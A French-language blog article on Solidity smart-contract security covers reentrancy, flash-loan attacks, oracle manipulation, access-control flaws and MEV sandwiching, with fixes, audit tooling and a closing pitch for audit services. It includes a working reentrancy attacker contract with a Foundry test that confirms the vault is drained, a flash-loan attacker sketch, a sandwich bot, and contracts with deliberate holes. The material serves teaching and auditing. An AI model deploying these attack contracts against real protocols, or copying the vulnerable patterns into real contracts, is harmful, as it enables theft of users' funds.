Auteur : Ayi NEDJIMI Date : 15 février 2026
1. Introduction Web3
L'écosystème Web3, construit sur les blockchains programmables comme Ethereum, Solana, Avalanche et les Layer 2 (Arbitrum, Optimism, Base), gère en 2026 plus de 200 milliards de dollars en valeur verrouillée (TVL) dans les protocoles DeFi (Decentralized Finance). Les smart contracts, ces programmes autonomes déployés sur la blockchain, sont immuables une fois publiés : une vulnérabilité dans le code peut entraîner la perte irréversible de fonds.
Depuis le hack de The DAO en 2016 (60 millions de dollars perdus via reentrancy), les attaques sur les smart contracts se sont sophistiquées considérablement. Les flash loan attacks, la manipulation d'oracles de prix, le front-running via MEV (Maximal Extractable Value), et les failles de contrôle d'accès restent les vecteurs les plus dévastateurs. En 2025, plus de 1,7 milliard de dollars ont été dérobés via des exploits on-chain.
Cet article couvre les principales classes de vulnérabilités des smart contracts Solidity/EVM, les techniques d'exploitation avec des exemples de code reproductibles, et les outils d'audit modernes (Slither, Mythril, Foundry, Echidna) utilisés pour identifier ces failles avant le déploiement.
2. Reentrancy Attacks
Le principe de la reentrancy
La reentrancy est la vulnérabilité la plus emblématique des smart contracts. Elle survient quand un contrat effectue un appel externe (transfert d'ETH ou appel de fonction) avant de mettre à jour son état interne. Le contrat appelé peut alors rappeler la fonction vulnérable avant que le solde ne soit mis à jour :
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
// === CONTRAT VULNERABLE ===
contract VulnerableVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 balance = balances[msg.sender];
require(balance > 0, "Insufficient balance");
// VULNERABILITE : appel externe AVANT mise à jour du solde
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Transfer failed");
// Cette ligne est exécutée APRÈS l'appel externe
// Mais l'attaquant a déjà rappelé withdraw() !
balances[msg.sender] = 0;
}
}
// === CONTRAT ATTAQUANT ===
contract ReentrancyAttacker {
VulnerableVault public vault;
uint256 public attackCount;
constructor(address _vault) {
vault = VulnerableVault(_vault);
}
function attack() external payable {
require(msg.value >= 1 ether, "Need at least 1 ETH");
vault.deposit{value: 1 ether}();
vault.withdraw();
}
// Cette fonction est appelée quand le vault envoie de l'ETH
receive() external payable {
attackCount++;
if (address(vault).balance >= 1 ether && attackCount < 10) {
vault.withdraw(); // Re-entre dans withdraw() !
}
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
Variantes modernes : cross-function et read-only reentrancy
// Cross-function reentrancy : exploite deux fonctions différentes
// La fonction A met à jour l'état, la fonction B le lit
// L'attaquant entre via A et rappelle B avant la mise à jour
// Read-only reentrancy (Curve Finance hack, 2023)
// Exploite un view function qui lit un état incohérent
// pendant une opération de retrait en cours
contract ReadOnlyReentrancy {
uint256 public totalSupply;
uint256 public totalAssets;
// Cette fonction est "view" mais lit un état manipulable
function getSharePrice() public view returns (uint256) {
if (totalSupply == 0) return 1e18;
return totalAssets * 1e18 / totalSupply;
}
function withdraw(uint256 shares) external {
uint256 assets = shares * getSharePrice() / 1e18;
// L'état est incohérent ici : totalAssets réduit mais totalSupply pas encore
totalAssets -= assets;
// APPEL EXTERNE : l'attaquant peut lire getSharePrice()
// avec un état incohérent (prix artificiellement bas)
(bool success, ) = msg.sender.call{value: assets}("");
require(success);
totalSupply -= shares;
}
}
Protection contre la reentrancy
// Pattern Checks-Effects-Interactions (CEI)
function withdraw() external {
uint256 balance = balances[msg.sender];
require(balance > 0);
// EFFECT : mise à jour AVANT l'appel externe
balances[msg.sender] = 0;
// INTERACTION : appel externe en dernier
(bool success, ) = msg.sender.call{value: balance}("");
require(success);
}
// ReentrancyGuard d'OpenZeppelin
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract SecureVault is ReentrancyGuard {
function withdraw() external nonReentrant {
// Protégé par le modifier nonReentrant
}
}
3. Flash Loan Attacks
Les flash loans permettent d'emprunter des millions de dollars sans collatéral, à condition de rembourser dans la même transaction. Les attaquants utilisent ce capital temporaire pour manipuler les prix sur les DEX (Decentralized Exchanges) et exploiter les protocoles qui dépendent de ces prix :
// Attaque Flash Loan typique (simplifié)
// Scénario : exploiter un protocole de lending qui utilise un DEX comme oracle
interface IFlashLoanProvider {
function flashLoan(uint256 amount, bytes calldata data) external;
}
interface IDEX {
function swap(address tokenIn, address tokenOut, uint256 amountIn)
external returns (uint256);
function getPrice(address token) external view returns (uint256);
}
interface IVulnerableLending {
function borrow(address collateral, uint256 amount) external;
function liquidate(address user) external;
}
contract FlashLoanAttacker {
IFlashLoanProvider public loanProvider;
IDEX public dex;
IVulnerableLending public lending;
function executeAttack() external {
// 1. Emprunter 10M USDC via flash loan (gratuit si remboursé)
loanProvider.flashLoan(10_000_000e6, "");
}
function onFlashLoan(uint256 amount) external {
// 2. Dump massif de TOKEN_A sur le DEX
// => Le prix de TOKEN_A s'effondre temporairement
dex.swap(TOKEN_A, USDC, hugeAmountOfTokenA);
// 3. Le protocole de lending utilise le prix du DEX
// => Les positions des autres utilisateurs sont sous-collatéralisées
lending.liquidate(victimAddress);
// => L'attaquant rachète le collatéral à prix cassé
// 4. Racheter TOKEN_A au prix bas
dex.swap(USDC, TOKEN_A, amount);
// 5. Rembourser le flash loan + garder le profit
// Tout dans UNE SEULE transaction atomique
}
}
Exemples réels de flash loan attacks
| Protocole | Date | Montant volé | Vecteur |
|---|---|---|---|
| Euler Finance | Mars 2023 | 197M $ | Flash loan + donation attack |
| Platypus Finance | Fév 2023 | 8.5M $ | Flash loan + logic flaw |
| Cream Finance | Oct 2021 | 130M $ | Flash loan + oracle manipulation |
| bZx Protocol | Fév 2020 | 8M $ | Flash loan + price manipulation |
4. Oracle Manipulation
Les oracles fournissent des données off-chain (prix, météo, résultats sportifs) aux smart contracts. Un oracle mal implémenté est le talon d'Achille de tout protocole DeFi :
// === ORACLE VULNERABLE (spot price d'un DEX) ===
contract VulnerableOracle {
IUniswapV2Pair public pair;
// DANGEREUX : utilise le prix instantané manipulable
function getPrice() public view returns (uint256) {
(uint112 reserve0, uint112 reserve1, ) = pair.getReserves();
return uint256(reserve1) * 1e18 / uint256(reserve0);
// Un attaquant peut modifier les réserves avec un gros swap
// puis appeler getPrice() dans la même transaction
}
}
// === ORACLE SECURISE (TWAP - Time-Weighted Average Price) ===
contract SecureOracle {
IUniswapV3Pool public pool;
function getPrice() public view returns (uint256) {
// TWAP sur 30 minutes : résistant à la manipulation
uint32[] memory secondsAgos = new uint32[](2);
secondsAgos[0] = 1800; // 30 minutes
secondsAgos[1] = 0; // maintenant
(int56[] memory tickCumulatives, ) = pool.observe(secondsAgos);
int56 tickDiff = tickCumulatives[1] - tickCumulatives[0];
int24 avgTick = int24(tickDiff / 1800);
return OracleLibrary.getQuoteAtTick(avgTick, 1e18, token0, token1);
}
}
// === ORACLE CHAINLINK (meilleure pratique) ===
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract ChainlinkOracle {
AggregatorV3Interface internal priceFeed;
constructor() {
// ETH/USD Mainnet
priceFeed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);
}
function getLatestPrice() public view returns (int256) {
(, int256 price, , uint256 updatedAt, ) = priceFeed.latestRoundData();
require(block.timestamp - updatedAt < 3600, "Stale price");
require(price > 0, "Invalid price");
return price;
}
}
5. Access Control Flaws
Les failles de contrôle d'accès permettent à des utilisateurs non autorisés d'appeler des fonctions privilégiées. Ces vulnérabilités sont souvent subtiles et passent inaperçues lors des audits rapides :
// Faille 1 : tx.origin vs msg.sender
contract VulnerableAuth {
address public owner;
// DANGEREUX : tx.origin est l'adresse de l'initiateur original
// Un contrat malveillant peut exploiter cela via phishing
function transferOwnership(address newOwner) external {
require(tx.origin == owner); // NE PAS UTILISER tx.origin pour l'auth
owner = newOwner;
}
}
// Faille 2 : initializer non protégé (proxies)
contract VulnerableProxy {
address public admin;
bool public initialized;
// Si cette fonction n'est pas appelée dans le constructeur
// N'IMPORTE QUI peut appeler initialize() et devenir admin
function initialize(address _admin) external {
require(!initialized, "Already initialized");
admin = _admin;
initialized = true;
}
}
// Faille 3 : delegatecall vers un contrat contrôlé par l'attaquant
contract VulnerableDelegatecall {
address public implementation;
address public owner;
// L'attaquant peut changer implementation puis appeler execute
function execute(bytes calldata data) external {
(bool success, ) = implementation.delegatecall(data);
require(success);
// delegatecall exécute le code de implementation
// dans le contexte de CE contrat (storage, msg.sender)
// => peut modifier owner, vider les fonds, etc.
}
}
// Faille 4 : fonction de self-destruct non protégée
contract VulnerableSelfDestruct {
// N'importe qui peut détruire le contrat et voler les fonds
function destroy() external {
selfdestruct(payable(msg.sender));
}
}
6. Front-Running et MEV
Le MEV (Maximal Extractable Value) est la valeur que les validateurs/séquenceurs peuvent extraire en réordonnant, insérant ou censurant les transactions dans un bloc. Les "searchers" MEV utilisent des bots pour exploiter les opportunités d'arbitrage, de liquidation et de sandwich attack :
// Sandwich Attack : l'attaquant entoure une transaction victime
// 1. Victime soumet : swap 100 ETH -> USDC sur Uniswap (slippage 1%)
// 2. Attaquant front-run : achète massivement USDC avant la victime
// => Le prix de USDC augmente
// 3. Transaction victime s'exécute au prix majoré
// 4. Attaquant back-run : vend USDC juste après
// => Profit = différence de prix - gas fees
// Bot MEV simplifié (Foundry/Solidity)
contract SandwichBot {
IUniswapV2Router02 public router;
function executeSandwich(
address tokenIn,
address tokenOut,
uint256 frontrunAmount,
uint256 victimMinOutput // Slippage de la victime
) external {
// Front-run : acheter avant la victime
address[] memory path = new address[](2);
path[0] = tokenIn;
path[1] = tokenOut;
router.swapExactTokensForTokens(
frontrunAmount, 0, path, address(this), block.timestamp
);
// ... la transaction de la victime s'exécute ici ...
// (le bot a soumis sa TX avec un gas price plus élevé)
// Back-run : vendre après la victime
path[0] = tokenOut;
path[1] = tokenIn;
uint256 balance = IERC20(tokenOut).balanceOf(address(this));
router.swapExactTokensForTokens(
balance, 0, path, address(this), block.timestamp
);
}
}
// Protection : utiliser un DEX avec protection MEV
// - Flashbots Protect (transactions privées)
// - CoW Protocol (batch auctions, pas de front-running)
// - UniswapX (enchères off-chain, exécution on-chain)
7. Outils d'Audit (Slither, Mythril, Foundry)
Slither (analyse statique)
# Slither : analyseur statique de référence pour Solidity
# Développé par Trail of Bits
pip install slither-analyzer
# Analyse d'un contrat
slither contracts/Vault.sol
# Détecteurs activés par défaut :
# - reentrancy-eth (High)
# - reentrancy-no-eth (Medium)
# - uninitialized-state (High)
# - arbitrary-send-eth (High)
# - controlled-delegatecall (High)
# - suicidal (High)
# - tx-origin (Medium)
# Analyse avec sortie détaillée
slither contracts/ --print human-summary
slither contracts/ --print function-summary
# Détection de vulnérabilités spécifiques
slither contracts/ --detect reentrancy-eth,arbitrary-send-eth
# Export des findings en JSON (intégration CI/CD)
slither contracts/ --json findings.json
Mythril (exécution symbolique)
# Mythril : détection de vulnérabilités par exécution symbolique
pip install mythril
# Analyse d'un contrat déployé
myth analyze -a 0xContractAddress --rpc infura
# Analyse d'un fichier source
myth analyze contracts/Vault.sol --solv 0.8.20
# Détections incluant :
# - Integer overflow/underflow (avant Solidity 0.8)
# - Reentrancy
# - Unprotected selfdestruct
# - Arbitrary write/read
# - Unchecked return values
# Analyse approfondie (plus de chemins d'exécution)
myth analyze contracts/Vault.sol --execution-timeout 600 --max-depth 50
Foundry (tests et fuzzing)
# Foundry : framework de développement et test Solidity
curl -L https://foundry.paradigm.xyz | bash
foundryup
# Test de reentrancy avec Foundry
// test/ReentrancyTest.t.sol
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/VulnerableVault.sol";
import "../src/ReentrancyAttacker.sol";
contract ReentrancyTest is Test {
VulnerableVault vault;
ReentrancyAttacker attacker;
function setUp() public {
vault = new VulnerableVault();
attacker = new ReentrancyAttacker(address(vault));
// Déposer des fonds dans le vault (victimes)
vm.deal(address(this), 10 ether);
vault.deposit{value: 10 ether}();
}
function testReentrancyAttack() public {
vm.deal(address(attacker), 1 ether);
uint256 vaultBalanceBefore = address(vault).balance;
attacker.attack{value: 1 ether}();
// Vérifier que l'attaquant a volé tous les fonds
assertGt(address(attacker).balance, 1 ether);
assertEq(address(vault).balance, 0);
emit log_named_uint("Stolen", address(attacker).balance - 1 ether);
}
}
# Lancer les tests
forge test -vvvv
# Fuzzing avec Foundry (Echidna-like)
function testFuzz_withdraw(uint256 amount) public {
vm.assume(amount > 0 && amount <= address(vault).balance);
// Le fuzzer teste des milliers de valeurs aléatoires
}
# Invariant testing
forge test --mt invariant
8. Conclusion
La sécurité des smart contracts est un domaine où les erreurs sont irréversibles et les enjeux financiers considérables. L'immuabilité de la blockchain signifie qu'un contrat vulnérable déployé ne peut pas être "patché" comme un serveur web classique. Les proxy patterns (UUPS, Transparent Proxy) permettent les mises à jour, mais ajoutent leur propre surface d'attaque.
L'audit de smart contracts doit combiner analyse statique automatisée (Slither, Mythril), tests de fuzzing intensifs (Foundry, Echidna), revue manuelle par des experts, et vérification formelle pour les contrats critiques (Certora). Les programmes de bug bounty (Immunefi, Code4rena) complètent cette approche en mobilisant la communauté de chercheurs en sécurité.
Bonnes pratiques de sécurité smart contracts
- Suivre le pattern Checks-Effects-Interactions (CEI) systématiquement
- Utiliser les bibliothèques auditées OpenZeppelin (ReentrancyGuard, AccessControl, Pausable)
- Implémenter des oracles résistants (Chainlink, TWAP sur 30+ minutes)
- Ajouter des mécanismes de pause d'urgence (circuit breaker)
- Limiter les montants par transaction (rate limiting)
- Faire auditer par 2+ cabinets indépendants avant le mainnet
- Déployer un programme de bug bounty avec récompenses proportionnelles à la TVL
- Utiliser des proxies upgradeable avec timelock pour les mises à jour
Passez à l'Action
Nos experts auditent vos smart contracts avec une méthodologie combinant analyse statique, fuzzing et revue manuelle.
Demander un Devis Personnalisé
Ayi NEDJIMI
Expert en Cybersécurité & Intelligence Artificielle
Consultant senior avec plus de 15 ans d'expérience en sécurité offensive, audit d'infrastructure et développement de solutions IA. Certifié OSCP, CISSP, ISO 27001 Lead Auditor et ISO 42001 Lead Implementer. Intervient sur des missions de pentest Active Directory, sécurité Cloud et conformité réglementaire pour des grands comptes et ETI.
